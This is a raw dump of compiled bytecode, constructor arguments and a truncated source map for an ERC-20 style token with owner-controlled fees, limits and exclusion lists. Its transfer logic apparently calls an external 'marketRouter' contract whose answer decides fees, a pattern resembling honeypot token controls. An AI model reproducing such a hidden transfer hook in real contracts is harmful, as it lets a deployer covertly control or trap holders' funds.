2743565b6116a8565b348015610afe57600080fd5b506104ac60145481565b348015610b1457600080fd5b506103fd610b233660046126b0565b611792565b348015610b3457600080fd5b50601c5461046b90600160b81b900460ff1681565b348015610b5557600080fd5b50600454610433906001600160a01b031681565b348015610b7557600080fd5b506103fd610b84366004612743565b6117e7565b606060018054610b98906127ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610bc4906127ab565b8015610c115780601f10610be657610100808354040283529160200191610c11565b820191906000526020600020905b815481529060010190602001808311610bf457829003601f168201915b5050505050905090565b6000546001600160a01b03163314610c4e5760405162461bcd60e51b8152600401610c45906127e5565b60405180910390fd5b601183905560128290556013819055610c7181610c6b858561191d565b9061191d565b60165560148054610c829190612830565b6016541115610cd35760405162461bcd60e51b815260206004820152601c60248201527f53656c6c2066656573206d757374206265203525206f72206c657373000000006044820152606401610c45565b505050565b6000610ce533848461197c565b5060015b92915050565b6000546001600160a01b03163314610d195760405162461bcd60e51b8152600401610c45906127e5565b600e839055600f8290556010819055610d3681610c6b858561191d565b60155560148054610d479190612830565b6015541115610cd35760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c65737300000000006044820152606401610c45565b6000546001600160a01b03163314610dc25760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000610dfa848484611aa0565b50610e4d8433610e48856040518060600160405280602881526020016129f1602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611ed5565b61197c565b5060015b9392505050565b6000546001600160a01b03163314610e825760405162461bcd60e51b8152600401610c45906127e5565b306001600160a01b03831603610ef95760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610c45565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610f46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd39190612852565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040812054610ff890610ff2610fe97f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526006602052604090205490565b60175490611f0f565b90611f0f565b905090565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ce5918590610e48908661191d565b6000546001600160a01b0316331461105d5760405162461bcd60e51b8152600401610c45906127e5565b611080620186a061107a600160175461185990919063ffffffff16565b906118db565b8110156110f55760405162461bcd60e51b815260206004820152603c60248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f206c6f776572207468616e20302e30303125206f6620746f6b656e73000000006064820152608401610c45565b611110606461107a600160175461185990919063ffffffff16565b8111156111855760405162461bcd60e51b815260206004820152603960248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f20686967686572207468616e203125206f6620746f6b656e73000000000000006064820152608401610c45565b601855565b6000546001600160a01b031633146111b45760405162461bcd60e51b8152600401610c45906127e5565b601c8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146111fc5760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b0381166112225760405162461bcd60e51b8152600401610c459061286f565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b031633146112745760405162461bcd60e51b8152600401610c45906127e5565b601c8054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b031633146112bc5760405162461bcd60e51b8152600401610c45906127e5565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146113365760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b606060028054610b98906127ab565b6000610ce53384610e4885604051806060016040528060258152602001612a19602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611ed5565b6000546001600160a01b031633146113e95760405162461bcd60e51b8152600401610c45906127e5565b601c8054911515600160b01b0260ff60b01b19909216919091179055565b6000610e4d338484611aa0565b6000546001600160a01b0316331461143e5760405162461bcd60e51b8152600401610c45906127e5565b601c8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061148b90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146114c05760405162461bcd60e51b8152600401610c45906127e5565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461150c5760405162461bcd60e51b8152600401610c45906127e5565b604051600090339047908381818185875af1925050503d806000811461154e576040519150601f19603f3d011682016040523d82523d6000602084013e611553565b606091505b505090508061156157600080fd5b50565b6000546001600160a01b0316331461158e5760405162461bcd60e51b8152600401610c45906127e5565b6115aa6103e861107a600160175461185990919063ffffffff16565b81101561161f5760405162461bcd60e51b815260206004820152603860248201527f43616e6e6f7420736574206d617820545820616d6f756e74206c6f776572207460448201527f68616e20302c3125206f6620746f74616c20737570706c7900000000000000006064820152608401610c45565b601955565b6000546001600160a01b0316331461164e5760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146116a35760405162461bcd60e51b8152600401610c45906127e5565b601a55565b6000546001600160a01b031633146116d25760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b0381166117375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c45565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146117bc5760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146118115760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b0381166118375760405162461bcd60e51b8152600401610c459061286f565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361186b57506000610ce9565b600061187783856128b1565b9050826118848583612830565b14610e515760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c45565b6000610e5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f51565b60008061192a83856128c8565b905083811015610e515760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c45565b6001600160a01b0383166119de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c45565b6001600160a01b038216611a3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c45565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416611b065760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c45565b6001600160a01b038316611b685760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c45565b601c54600160a01b900460ff1615611b8c57611b85848484611f7f565b9050610e51565b6001600160a01b0384166000908152600d602052604090205460ff16158015611bce57506001600160a01b0383166000908152600d602052604090205460ff16155b8015611be35750601c54600160c01b900460ff165b15611c4b57601954821115611c4b5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c45565b3060009081526006602052604090205460185481108015908190611c795750601c54600160a01b900460ff16155b8015611c9e57506001600160a01b0386166000908152600a602052604090205460ff16155b8015611cb35750601c54600160a81b900460ff165b15611cd957601c54600160b01b900460ff1615611cd05760185491505b611cd982612065565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260069091529190912054611d2b918690611ed5565b6001600160a01b038716600090815260066020908152604080832093909355600990529081205460ff1680611d7857506001600160a01b03861660009081526009602052604090205460ff165b611d8c57611d87878787612212565b611d8e565b845b601c54909150600160b81b900460ff168015611dc357506001600160a01b0386166000908152600c602052604090205460ff16155b15611e4a57601a54611dee82610c6b896001600160a01b031660009081526006602052604090205490565b1115611e4a5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610c45565b6001600160a01b038616600090815260066020526040902054611e6d908261191d565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ec19085815260200190565b60405180910390a360019350505050610e51565b60008184841115611ef95760405162461bcd60e51b8152600401610c4591906125e7565b506000611f0684866128db565b95945050505050565b6000610e5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ed5565b60008183611f725760405162461bcd60e51b8152600401610c4591906125e7565b506000611f068486612830565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611fd0918490611ed5565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611fff908361191d565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120539086815260200190565b60405180910390a35060019392505050565b601c805460ff60a01b1916600160a01b17905560165460155460009161208b919061191d565b905060006120a6601154600e5461191d90919063ffffffff16565b905060006120c1601254600f5461191d90919063ffffffff16565b905060006120d6600261107a86818988611859565b905060006120e48683611f0f565b9050476120f0826123a0565b60006120fc4783611f0f565b9050600061211561210e8860026118db565b8990611f0f565b9050600061212a600261107a8481878d611859565b9050600061213c8361107a868b611859565b9050600061214e82610ff28786611f0f565b90508115612196576003546040516101009091046001600160a01b0316906108fc8415029084906000818181858888f19350505050158015612194573d6000803e3d6000fd5b505b80156121d8576004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121d6573d6000803e3d6000fd5b505b6000831180156121e85750600088115b156121f7576121f78884612533565b5050601c805460ff60a01b1916905550505050505050505050565b6001600160a01b0383166000908152600a6020526040812054819060ff16156122565761224f606461107a6015548661185990919063ffffffff16565b9050612294565b6001600160a01b0384166000908152600a602052604090205460ff161561229457612291606461107a6016548661185990919063ffffffff16565b90505b600b546040516323b872dd60e01b81526001600160a01b038781166004830152868116602483015260448201849052909116906323b872dd906064016020604051808303816000875af11580156122ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123139190612852565b1561231c575060005b8015612396573060009081526006602052604090205461233c908261191d565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061238d9085815260200190565b60405180910390a35b611f068382611f0f565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106123d5576123d56128ee565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561242e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124529190612904565b81600181518110612465576124656128ee565b6001600160a01b039283166020918202929092010152601b5461248b913091168461197c565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906124c4908590600090869030904290600401612965565b600060405180830381600087803b1580156124de57600080fd5b505af11580156124f2573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516125279291906129a1565b60405180910390a15050565b601b5461254b9030906001600160a01b03168461197c565b601b5460055460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156125bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125e091906129c2565b5050505050565b600060208083528351808285015260005b81811015612614578581018301518582016040015282016125f8565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060006060848603121561264a57600080fd5b505081359360208301359350604090920135919050565b6001600160a01b038116811461156157600080fd5b6000806040838503121561268957600080fd5b823561269481612661565b946020939093013593505050565b801515811461156157600080fd5b600080604083850312156126c357600080fd5b82356126ce81612661565b915060208301356126de816126a2565b809150509250929050565b6000806000606084860312156126fe57600080fd5b833561270981612661565b9250602084013561271981612661565b929592945050506040919091013590565b60006020828403121561273c57600080fd5b5035919050565b60006020828403121561275557600080fd5b8135610e5181612661565b60006020828403121561277257600080fd5b8135610e51816126a2565b6000806040838503121561279057600080fd5b823561279b81612661565b915060208301356126de81612661565b600181811c908216806127bf57607f821691505b6020821081036127df57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008261284d57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561286457600080fd5b8151610e51816126a2565b60208082526022908201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604082015261737360f01b606082015260800190565b8082028115828204841417610ce957610ce961281a565b80820180821115610ce957610ce961281a565b81810381811115610ce957610ce961281a565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561291657600080fd5b8151610e5181612661565b600081518084526020808501945080840160005b8381101561295a5781516001600160a01b031687529582019590820190600101612935565b509495945050505050565b85815284602082015260a06040820152600061298460a0830186612921565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006129ba6040830184612921565b949350505050565b6000806000606084860312156129d757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209189a9570aeb2df8049fb834c793876792641220c19713514e1c0743f76d5e3464736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009d72d38b15029c6c59091d004e5123a6eb0339ae
-----Decoded View---------------
Arg [0] : _uniRouter (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : _marketRouter (address): 0x9d72d38B15029c6C59091d004e5123A6Eb0339Ae
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000009d72d38b15029c6c59091d004e5123a6eb0339ae
Deployed Bytecode Sourcemap
11592:16035:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15756:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20736:404;;;;;;;;;;-1:-1:-1;20736:404:0;;;;;:::i;:::-;;:::i;:::-;;12179:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1052:32:1;;;1034:51;;1022:2;1007:18;12179:81:0;888:203:1;16922:161:0;;;;;;;;;;-1:-1:-1;16922:161:0;;;;;:::i;:::-;;:::i;:::-;;;1717:14:1;;1710:22;1692:41;;1680:2;1665:18;16922:161:0;1552:187:1;13365:41:0;;;;;;;;;;-1:-1:-1;13365:41:0;;;;-1:-1:-1;;;;;13365:41:0;;;16033:100;;;;;;;;;;-1:-1:-1;16113:12:0;;16033:100;;;2125:25:1;;;2113:2;2098:18;16033:100:0;1979:177:1;20334:394:0;;;;;;;;;;-1:-1:-1;20334:394:0;;;;;:::i;:::-;;:::i;18021:135::-;;;;;;;;;;-1:-1:-1;18021:135:0;;;;;:::i;:::-;;:::i;12773:35::-;;;;;;;;;;;;;;;;21368:313;;;;;;;;;;-1:-1:-1;21368:313:0;;;;;:::i;:::-;;:::i;24220:238::-;;;;;;;;;;-1:-1:-1;24220:238:0;;;;;:::i;:::-;;:::i;12091:81::-;;;;;;;;;;;;;;;20032:156;;;;;;;;;;;;;:::i;15942:83::-;;;;;;;;;;-1:-1:-1;16008:9:0;;15942:83;;16008:9;;;;3274:36:1;;3262:2;3247:18;15942:83:0;3132:184:1;16419:218:0;;;;;;;;;;-1:-1:-1;16419:218:0;;;;;:::i;:::-;;:::i;18750:374::-;;;;;;;;;;-1:-1:-1;18750:374:0;;;;;:::i;:::-;;:::i;12488:45::-;;;;;;;;;;-1:-1:-1;12488:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;18636:106;;;;;;;;;;-1:-1:-1;18636:106:0;;;;;:::i;:::-;;:::i;13482:40::-;;;;;;;;;;-1:-1:-1;13482:40:0;;;;-1:-1:-1;;;13482:40:0;;;;;;12396:26;;;;;;;;;;-1:-1:-1;12396:26:0;;;;;;;;19132:213;;;;;;;;;;-1:-1:-1;19132:213:0;;;;;:::i;:::-;;:::i;12907:36::-;;;;;;;;;;;;;;;;12431:50;;;;;;;;;;-1:-1:-1;12431:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;18517:111;;;;;;;;;;-1:-1:-1;18517:111:0;;;;;:::i;:::-;;:::i;16141:119::-;;;;;;;;;;-1:-1:-1;16141:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16234:18:0;16207:7;16234:18;;;:9;:18;;;;;;;16141:119;2590:230;;;;;;;;;;;;;:::i;11848:92::-;;;;;;;;;;-1:-1:-1;11848:92:0;;;;;;;-1:-1:-1;;;;;11848:92:0;;;13227:60;;;;;;;;;;;;;;;;13295:59;;;;;;;;;;;;;;;;13029:33;;;;;;;;;;;;;;;;17602:129;;;;;;;;;;-1:-1:-1;17602:129:0;;;;;:::i;:::-;;:::i;13625:41::-;;;;;;;;;;-1:-1:-1;13625:41:0;;;;-1:-1:-1;;;13625:41:0;;;;;;12821:36;;;;;;;;;;;;;;;;12632:48;;;;;;;;;;-1:-1:-1;12632:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2365:79;;;;;;;;;;-1:-1:-1;2403:7:0;2430:6;-1:-1:-1;;;;;2430:6:0;2365:79;;15847:87;;;;;;;;;;;;;:::i;12046:32::-;;;;;;;;;;-1:-1:-1;12046:32:0;;;;-1:-1:-1;;;;;12046:32:0;;;16645:269;;;;;;;;;;-1:-1:-1;16645:269:0;;;;;:::i;:::-;;:::i;19895:125::-;;;;;;;;;;-1:-1:-1;19895:125:0;;;;;:::i;:::-;;:::i;21193:167::-;;;;;;;;;;-1:-1:-1;21193:167:0;;;;;:::i;:::-;;:::i;19716:171::-;;;;;;;;;;-1:-1:-1;19716:171:0;;;;;:::i;:::-;;:::i;12731:35::-;;;;;;;;;;;;;;;;13413:26;;;;;;;;;;-1:-1:-1;13413:26:0;;;;-1:-1:-1;;;;;13413:26:0;;;12864:36;;;;;;;;;;;;;;;;12573:52;;;;;;;;;;-1:-1:-1;12573:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19353:134;;;;;;;;;;-1:-1:-1;19353:134:0;;;;;:::i;:::-;;:::i;13139:70::-;;;;;;;;;;;;;;;;13529:45;;;;;;;;;;-1:-1:-1;13529:45:0;;;;-1:-1:-1;;;13529:45:0;;;;;;12689:35;;;;;;;;;;;;;;;;16268:143;;;;;;;;;;-1:-1:-1;16268:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16376:18:0;;;16349:7;16376:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16268:143;24466:154;;;;;;;;;;;;;:::i;18164:235::-;;;;;;;;;;-1:-1:-1;18164:235:0;;;;;:::i;:::-;;:::i;17739:135::-;;;;;;;;;;-1:-1:-1;17739:135:0;;;;;:::i;:::-;;:::i;12990:32::-;;;;;;;;;;;;;;;;18407:102;;;;;;;;;;-1:-1:-1;18407:102:0;;;;;:::i;:::-;;:::i;2828:244::-;;;;;;;;;;-1:-1:-1;2828:244:0;;;;;:::i;:::-;;:::i;12952:29::-;;;;;;;;;;;;;;;;17882:127;;;;;;;;;;-1:-1:-1;17882:127:0;;;;;:::i;:::-;;:::i;13583:35::-;;;;;;;;;;-1:-1:-1;13583:35:0;;;;-1:-1:-1;;;13583:35:0;;;;;;11947:92;;;;;;;;;;-1:-1:-1;11947:92:0;;;;-1:-1:-1;;;;;11947:92:0;;;19495:213;;;;;;;;;;-1:-1:-1;19495:213:0;;;;;:::i;:::-;;:::i;15756:83::-;15793:13;15826:5;15819:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15756:83;:::o;20736:404::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;;;;;;;;;20838:17:::1;:30:::0;;;20879:17:::1;:30:::0;;;20920:17:::1;:30:::0;;;20982:63:::1;20940:10:::0;20982:40:::1;20858:10:::0;20899;20982:21:::1;:40::i;:::-;:44:::0;::::1;:63::i;:::-;20961:18;:84:::0;21096:2:::1;21087:8:::0;;:11:::1;::::0;21096:2;21087:11:::1;:::i;:::-;21064:18;;:35;;21056:76;;;::::0;-1:-1:-1;;;21056:76:0;;5923:2:1;21056:76:0::1;::::0;::::1;5905:21:1::0;5962:2;5942:18;;;5935:30;6001;5981:18;;;5974:58;6049:18;;21056:76:0::1;5721:352:1::0;21056:76:0::1;20736:404:::0;;;:::o;16922:161::-;16997:4;17014:39;1904:10;17037:7;17046:6;17014:8;:39::i;:::-;-1:-1:-1;17071:4:0;16922:161;;;;;:::o;20334:394::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;20435:16:::1;:29:::0;;;20475:16:::1;:29:::0;;;20515:16:::1;:29:::0;;;20575:60:::1;20534:10:::0;20575:38:::1;20454:10:::0;20494;20575:20:::1;:38::i;:60::-;20555:17;:80:::0;20685:2:::1;20676:8:::0;;:11:::1;::::0;20685:2;20676:11:::1;:::i;:::-;20654:17;;:34;;20646:74;;;::::0;-1:-1:-1;;;20646:74:0;;6280:2:1;20646:74:0::1;::::0;::::1;6262:21:1::0;6319:2;6299:18;;;6292:30;6358:29;6338:18;;;6331:57;6405:18;;20646:74:0::1;6078:351:1::0;18021:135:0;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18112:27:0;;;::::1;;::::0;;;:19:::1;:27;::::0;;;;:36;;-1:-1:-1;;18112:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18021:135::o;21368:313::-;21466:4;21483:36;21493:6;21501:9;21512:6;21483:9;:36::i;:::-;-1:-1:-1;21530:121:0;21539:6;1904:10;21561:89;21599:6;21561:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21561:19:0;;;;;;:11;:19;;;;;;;;1904:10;21561:33;;;;;;;;;;:37;:89::i;:::-;21530:8;:121::i;:::-;-1:-1:-1;21669:4:0;21368:313;;;;;;:::o;24220:238::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;24332:4:::1;-1:-1:-1::0;;;;;24314:23:0;::::1;::::0;24306:90:::1;;;::::0;-1:-1:-1;;;24306:90:0;;6636:2:1;24306:90:0::1;::::0;::::1;6618:21:1::0;6675:2;6655:18;;;6648:30;6714:34;6694:18;;;6687:62;-1:-1:-1;;;6765:18:1;;;6758:52;6827:19;;24306:90:0::1;6434:418:1::0;24306:90:0::1;24407:43;::::0;-1:-1:-1;;;24407:43:0;;24431:10:::1;24407:43;::::0;::::1;7031:51:1::0;7098:18;;;7091:34;;;-1:-1:-1;;;;;24407:23:0;::::1;::::0;::::1;::::0;7004:18:1;;24407:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;20032:156::-:0;-1:-1:-1;;;;;20167:11:0;16234:18;20085:7;16234:18;;;:9;:18;;;;;;20112:68;;:40;20129:22;20139:11;-1:-1:-1;;;;;16234:18:0;16207:7;16234:18;;;:9;:18;;;;;;;16141:119;20129:22;20112:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;20105:75;;20032:156;:::o;16419:218::-;1904:10;16507:4;16556:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16556:34:0;;;;;;;;;;16507:4;;16524:83;;16547:7;;16556:50;;16595:10;16556:38;:50::i;18750:374::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;18853:31:::1;18877:6;18853:19;18870:1;18853:12;;:16;;:19;;;;:::i;:::-;:23:::0;::::1;:31::i;:::-;18841:8;:43;;18833:116;;;::::0;-1:-1:-1;;;18833:116:0;;7588:2:1;18833:116:0::1;::::0;::::1;7570:21:1::0;7627:2;7607:18;;;7600:30;7666:34;7646:18;;;7639:62;7737:30;7717:18;;;7710:58;7785:19;;18833:116:0::1;7386:424:1::0;18833:116:0::1;18981:28;19005:3;18981:19;18998:1;18981:12;;:16;;:19;;;;:::i;:28::-;18969:8;:40;;18961:110;;;::::0;-1:-1:-1;;;18961:110:0;;8017:2:1;18961:110:0::1;::::0;::::1;7999:21:1::0;8056:2;8036:18;;;8029:30;8095:34;8075:18;;;8068:62;8166:27;8146:18;;;8139:55;8211:19;;18961:110:0::1;7815:421:1::0;18961:110:0::1;19082:23;:34:::0;18750:374::o;18636:106::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;18707:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;18707:27:0::1;-1:-1:-1::0;;;;18707:27:0;;::::1;::::0;;;::::1;::::0;;18636:106::o;19132:213::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19227:24:0;::::1;19219:70;;;;-1:-1:-1::0;;;19219:70:0::1;;;;;;;:::i;:::-;19300:15;:37:::0;;-1:-1:-1;;;;;19300:37:0;;::::1;;;-1:-1:-1::0;;;;;;19300:37:0;;::::1;::::0;;;::::1;::::0;;19132:213::o;18517:111::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;18588:22:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;18588:32:0::1;-1:-1:-1::0;;;;18588:32:0;;::::1;::::0;;;::::1;::::0;;18517:111::o;2590:230::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;2681:6:::1;::::0;;2660:81:::1;::::0;2697:42:::1;::::0;-1:-1:-1;;;;;2681:6:0;;::::1;::::0;2660:81:::1;::::0;::::1;2752:6;:60:::0;;-1:-1:-1;;;;;;2752:60:0::1;2769:42;2752:60;::::0;;2590:230::o;17602:129::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17691:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;17691:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17602:129::o;15847:87::-;15886:13;15919:7;15912:14;;;;;:::i;16645:269::-;16738:4;16755:129;1904:10;16778:7;16787:96;16826:15;16787:96;;;;;;;;;;;;;;;;;1904:10;16787:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16787:34:0;;;;;;;;;;;;:38;:96::i;19895:125::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;19976:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;19976:36:0::1;-1:-1:-1::0;;;;19976:36:0;;::::1;::::0;;;::::1;::::0;;19895:125::o;21193:167::-;21271:4;21288:42;1904:10;21312:9;21323:6;21288:9;:42::i;19716:171::-;2499:6;;-1:-1:-1;;;;;2499:6:0;1904:10;2499:22;2491:67;;;;-1:-1:-1;;;2491:67:0;;;;;;;:::i;:::-;19793:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;19793:32:0::1;-1:-1:-1::0;;;;19793:32:0;;::::1;;::::0;;19841:38:::1;::::0;::::1;::::0;::::1;::::0;19817:8;1717:14:1;1710:22;1692:41;;1680:2;1665:18;;155